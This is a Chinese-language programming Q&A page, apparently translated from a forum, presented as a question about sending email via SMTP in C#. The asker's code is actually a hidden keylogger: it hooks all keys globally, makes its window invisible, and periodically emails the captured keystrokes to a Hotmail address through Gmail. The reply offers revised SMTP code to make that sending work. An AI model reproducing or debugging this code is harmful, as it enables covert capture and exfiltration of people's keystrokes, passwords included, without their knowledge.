通过 C# 发送的 SMTP 电子邮件

本文关键字:SMTP 电子邮件 通过 | 更新日期: 2023-09-27 17:56:42

我无法通过smtp和trough的Gmail和Hotmail向自己发送电子邮件。您有任何想法如何解决或错误在哪里吗?

  public partial class Form1 : Form
{
    public Form1()
    {
        InitializeComponent();
    }
    string log;
    string klokkeslæt;
    globalKeyboardHook gkh = new globalKeyboardHook();
    private void HookAll() //funktionen Hookall oprettes
    {
        foreach (object key in Enum.GetValues(typeof(Keys)))
        {
            gkh.HookedKeys.Add((Keys)key);
        }
    }
    private void Form1_Load(object sender, EventArgs e)
    {
        gkh.KeyDown += new KeyEventHandler(gkh_KeyDown);
        HookAll();
        this.Opacity = 0;
    } 
    void gkh_KeyDown(object sender, KeyEventArgs e)
    {
        log = log + " " + e.KeyCode;
    }
    private void timer1_Tick(object sender, EventArgs e)
    {
        MailMessage mail = new MailMessage("eksamensprojekt2014.gmail.com", "gymjoy@hotmail.com");
        SmtpClient SmtpServer = new SmtpClient("smtp.gmail.com", 587);
        mail.From = new MailAddress("eksamensprojekt2014@gmail.com");
        mail.To.Add("gymjoy@hotmail.com");
        klokkeslæt = DateTime.Now.ToString("HH:mm:ss:tt");
        mail.Subject = klokkeslæt;
        mail.Body = log;
       // SmtpServer.Port = 587;
        SmtpServer.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014@gmail.com", "*********");
        SmtpServer.EnableSsl = true;
        SmtpServer.Send(mail);
        mail.Priority = MailPriority.Normal;
        SmtpServer.useDefaultCredentials = true; 
    }
}

通过 C# 发送的 SMTP 电子邮件

尝试使用以下代码它工作正常。

        MailMessage message = new MailMessage();//Not set from and to address here.
        SmtpClient smtpClient = new SmtpClient();//Not set Host name here.
        string msg = string.Empty;
        try
        {
            MailAddress fromAddress = new MailAddress("eksamensprojekt2014.gmail.com");
            message.From = fromAddress;
            message.To.Add("gymjoy@hotmail.com");
            message.Subject = "Test";
            message.IsBodyHtml = true;
            message.Body = "Test";
            smtpClient.Host = "smtp.gmail.com";   // We use gmail as our smtp client
            smtpClient.Port = 587;
            smtpClient.EnableSsl = true;
            smtpClient.UseDefaultCredentials = true;
            smtpClient.Credentials = new System.Net.NetworkCredential("eksamensprojekt2014.gmail.com", "*******");
            smtpClient.Send(message);
            msg = "Successful<BR>";
        }
        catch (Exception ex)
        {
            msg = ex.Message;
        }